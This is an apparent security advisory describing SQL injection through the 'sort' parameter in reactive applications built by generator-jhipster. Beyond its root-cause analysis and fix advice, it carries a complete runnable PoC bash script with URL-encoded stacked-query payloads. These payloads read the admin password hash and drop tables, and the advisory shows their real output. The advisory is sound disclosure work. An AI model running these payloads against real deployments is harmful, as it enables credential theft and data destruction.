PT-2026-108672
Published
2026-10-08
·
Updated
2026-10-08
Description by
CVSS 3.1
8.8
HighMetricsAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
SQL Injection in the sort Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applications
- Product: jhipster/generator-jhipster (npm package
generator-jhipster) - Affected versions: v7.0.0 through v9.2.0
- Component: generated reactive-application code, template
EntityManager reactive.java.ejs - Report date: 2026-08-29
1. Summary
Every reactive (Spring WebFlux + Spring Data R2DBC + SQL) application generated by
generator-jhipster contains an SQL injection in the paginated entity list endpoints (GET /api/<entity>?sort=...). The sort request parameter is taken verbatim from the user and concatenated into the SQL ORDER BY clause without quoting or validation. Because the generated query has no bound parameters, the R2DBC drivers execute it via the simple query protocol, so ;-separated extra statements are run against the database.A single authenticated low-privileged user (including an account obtained through the default self-registration flow) can therefore execute arbitrary SQL: read any table (including
jhi user password hashes), modify or delete data, and drop tables (full C/I/A impact). Independently reproduced end-to-end on the default dev database (H2) and the default production database (PostgreSQL 16).The JPA (non-reactive) path is not affected: Spring Data JPA validates sort property names against the entity metamodel. NoSQL backends are out of scope of this root cause.
2. Root Cause
The generator template
generators/spring-boot/generators/data-relational/templates/src/main/java/ package /repository/EntityManager reactive.java.ejs (lines 240–253) writes createOrderByFields(...), which renders the user-supplied sort property directly as an unquoted SqlIdentifier:java
private static Collection<? extends OrderByField> createOrderByFields(Table table, Sort sortToUse) {
List<OrderByField> fields = new ArrayList<>();
for (Sort.Order order : sortToUse) {
String propertyName = order.getProperty(); // attacker controlled (?sort=...)
OrderByField orderByField = !propertyName.contains(".")
? OrderByField.from(table.column(propertyName).as(EntityManager.ALIAS PREFIX + propertyName))
: createOrderByField(propertyName);
fields.add(order.isAscending() ? orderByField.asc() : orderByField.desc());
}
return fields;
}The generated app configures
SqlRenderer.create(factory.createRenderContext()) with the default naming strategy, so unquoted identifiers are rendered verbatim. With ?sort=id;DROP TABLE product;-- the alias renders into:sql
SELECT e.id AS e id, e.name AS e name, e.price AS e price FROM product e ORDER BY e id;DROP TABLE product;-- ASC LIMIT 20 OFFSET 03. Verification
A real application was generated from this repository (
git clone of the submitted source, v9.2.0), built with Spring Boot 4.1.1, and run against both H2 and PostgreSQL 16.| Step | H2 (dev default) | PostgreSQL 16 (prod default) |
|---|---|---|
Error probe sort=name%27 | 500; SQL echoed with raw ' in ORDER BY e name' | 500; r2dbc-postgresql parse error echoing full SQL |
Exfiltrate admin hash via ;UPDATE product SET name=(SELECT password hash FROM jhi user ...);-- | HTTP 200; name becomes $2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC | HTTP 200; same hash read back |
;DROP TABLE product;-- | HTTP 200; table gone, subsequent list → 500 | HTTP 200; table gone, subsequent list → 500 |
All payloads executed with a token carrying only
ROLE USER. No other vulnerability or privileged account is required.4. Impact
CWE-89 SQL Injection. Confidentiality (arbitrary read, incl.
jhi user password hashes), Integrity (arbitrary writes), Availability (table drops). The affected code is produced by default for reactive: true + SQL database + paginated entity (the default for monoliths and microservices). Applications must be regenerated after a fix.5. Fix Recommendation
In
EntityManager.createOrderByFields, validate each sort property against the entity's persistent metamodel (allow only known column names) or render it as a quoted SqlIdentifier; never concatenate raw property strings into SQL. Ship the fix in the generator and advise affected applications to regenerate.Appendix
A. Environment setup
bash
# 0. Prerequisites: JDK 21, Node >= 20, Docker (PostgreSQL step only), Maven (optional), curl, python3
java -version # openjdk 21.x
node --version # v20+
# 1. Clone the generator
git clone https://github.com/jhipster/generator-jhipster.git
cd generator-jhipster
git checkout <affected-tag> # e.g. v9.2.0 (or keep main). Folder MUST be named generator-jhipster.
npm install --no-audit --no-fund # ~778 packages
npm link # makes `jhipster` available
jhipster --version # expected: 9.2.0
# 2. Generate the target app (reactive + SQL + JWT + paginated entity)
mkdir -p /tmp/pocwebflux && cd /tmp/pocwebflux
cat > .yo-rc.json <<'EOF'
{ "generator-jhipster": {
"applicationType": "monolith", "baseName": "pocwebflux",
"packageName": "com.mycompany.pocwebflux", "authenticationType": "jwt",
"databaseType": "sql", "devDatabaseType": "h2Memory", "prodDatabaseType": "postgresql",
"reactive": true, "skipClient": true, "buildTool": "maven",
"enableTranslation": false, "jhipsterVersion": "9.2.0" } }
EOF
cat > product.jdl <<'EOF'
entity Product { name String required, price BigDecimal }
paginate Product with pagination
EOF
export JAVA HOME=$HOME/.sdkman/candidates/java/21.0.7-amzn
jhipster --no-insight --force # -> "Spring Boot 4.1.1 application generated successfully."
jhipster jdl product.jdl --no-insight --force
# Sanity check that the generated app contains the vulnerable code (all should match):
grep -n "OrderByField.from(table.column" src/main/java/com/mycompany/pocwebflux/repository/EntityManager.java
grep -n "findAllBy(Pageable" src/main/java/com/mycompany/pocwebflux/repository/ProductRepositoryInternalImpl.java
grep -n "Pageable pageable" src/main/java/com/mycompany/pocwebflux/web/rest/ProductResource.java
# 3a. Run on H2 (default dev database)
./mvnw -DskipTests package # -> BUILD SUCCESS
setsid nohup $JAVA HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar
--spring.profiles.active=dev --server.port=18080 > app-dev.log 2>&1 < /dev/null &
curl -s http://127.0.0.1:18080/management/health # -> {"groups":[...],"status":"UP"}
BASE URL=http://127.0.0.1:18080 bash <path-to>/poc/poc.sh
# 3b. Run on PostgreSQL 16 (default production database)
docker run -d --name jh-pg16 -e POSTGRES USER=pocwebflux -e POSTGRES PASSWORD=secret
-e POSTGRES DB=pocwebflux -p 15432:5432 postgres:16
./mvnw -Pprod -DskipTests package # prod DB driver is in the Maven prod profile
SECRET=$(python3 -c "import base64,os;print(base64.b64encode(os.urandom(64)).decode())")
setsid nohup $JAVA HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar
--spring.profiles.active=prod --server.port=18081
--spring.r2dbc.url=r2dbc:postgresql://127.0.0.1:15432/pocwebflux
--spring.r2dbc.username=pocwebflux --spring.r2dbc.password=secret
--spring.liquibase.url=jdbc:postgresql://127.0.0.1:15432/pocwebflux
--spring.liquibase.user=pocwebflux --spring.liquibase.password=secret
--jhipster.security.authentication.jwt.base64-secret=$SECRET > app-prod.log 2>&1 < /dev/null &
# seed two products via the API (prod has no sample data), then run poc.sh:
BASE URL=http://127.0.0.1:18081 bash <path-to>/poc/poc.sh
docker rm -f jh-pg16B. PoC script
bash
#!/usr/bin/env bash
# Usage: BASE URL=http://host:port ./poc.sh (uses seeded user/user; JWT=... to reuse a token)
set -euo pipefail
BASE URL="${BASE URL:-http://127.0.0.1:18080}"; JWT="${JWT:-}"; LOGIN="${LOGIN:-user}"; PASSWORD="${PASSWORD:-user}"
if [ -z "$JWT" ]; then
JWT=$(curl -s -X POST "$BASE URL/api/authenticate" -H 'Content-Type: application/json'
-d "{"username":"$LOGIN","password":"$PASSWORD","rememberMe":false}"
| python3 -c "import sys,json;print(json.load(sys.stdin)['id token'])")
fi
AUTH="Authorization: Bearer $JWT"
echo "== 2) Baseline =="
curl -s -H "$AUTH" "$BASE URL/api/products?sort=id,asc&page=0&size=2" | head -c 300; echo
echo "== 3) Error probe: sort=name' =="
curl -s -H "$AUTH" "$BASE URL/api/products?sort=name%27"
| python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get("status"));print(d.get("detail"))' || true
echo "== 4) Exfiltrate admin bcrypt hash =="
PAYLOAD="id%3BUPDATE%20product%20SET%20name%3D(SELECT%20password hash%20FROM%20jhi user%20ORDER%20BY%20login%20LIMIT%201)%20WHERE%20id%3D(SELECT%20min(id)%20FROM%20product)%3B--"
curl -s -o /dev/null -w " injection HTTP %{http code}
" -H "$AUTH" "$BASE URL/api/products?sort=$PAYLOAD"
curl -s -H "$AUTH" "$BASE URL/api/products?sort=id,asc&page=0&size=2"
| python3 -c "import sys,json;[print(' id=%s name=%s'%(p['id'],p['name'])) for p in json.load(sys.stdin)]"
echo "== 5) DROP TABLE product =="
PAYLOAD="id%3BDROP%20TABLE%20product%3B--"
curl -s -o /dev/null -w " injection HTTP %{http code}
" -H "$AUTH" "$BASE URL/api/products?sort=$PAYLOAD"
curl -s -H "$AUTH" "$BASE URL/api/products?sort=id,asc"
| python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get("status"));print(str(d.get("detail"))[:90])' || trueC. Real output (H2 run, 2026-08-29, full poc.sh execution)
== Target: http://127.0.0.1:18080 ==
== 1) Obtain a low-privileged token (user/user) ==
== 2) Baseline: benign paginated read (sort=id,asc) ==
[ { "id" : 1, "name" : "eke below forceful", "price" : 3151.02 }, { "id" : 2, ... } ]
== 3) Error probe: sort=name' -> raw quote reaches ORDER BY unescaped ==
status: 500
detail: Syntax error in SQL statement "SELECT e.id AS e id, e.name AS e name, e.price AS e price
FROM product e ORDER BY e name[*]' ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY"; SQL statement:
SELECT e.id AS e id, e.name AS e name, e.price AS e price FROM product e ORDER BY e name' ASC
OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY [42000-240]
== 4) Arbitrary SQL: exfiltrate jhi user.password hash (admin) into a readable field ==
injection request HTTP 200
Read back - first product 'name' now equals the admin bcrypt hash:
id=1 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC
id=2 name=notwithstanding
== 5) Arbitrary SQL: DROP TABLE product (availability) ==
injection request HTTP 200
After injection, listing products again:
status: 500
detail: Table "PRODUCT" not found; SQL statement: SELECT COUNT(*) FROM product [42102-240]
== Done. The database has been modified / a table dropped by injected SQL. ==D. Real output (PostgreSQL 16 run )
== 3) Error probe: sort=name' ==
status: 500
detail: Sql cannot be parsed: unclosed quote (quote opened at index 88) in statement:
SELECT e.id AS e id, e.name AS e name, e.price AS e price FROM product e
ORDER BY e name' ASC LIMIT 20 OFFSET 0
== 4) Exfiltrate jhi user.password hash (admin) into a readable field ==
injection request HTTP 200
id=1500 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC
id=1501 name=beta widget
== 5) DROP TABLE product ==
injection request HTTP 200 -> subsequent list: status 500 "Failure during data access" Found an issue in the description? Have something to add? Feel free to write us 👾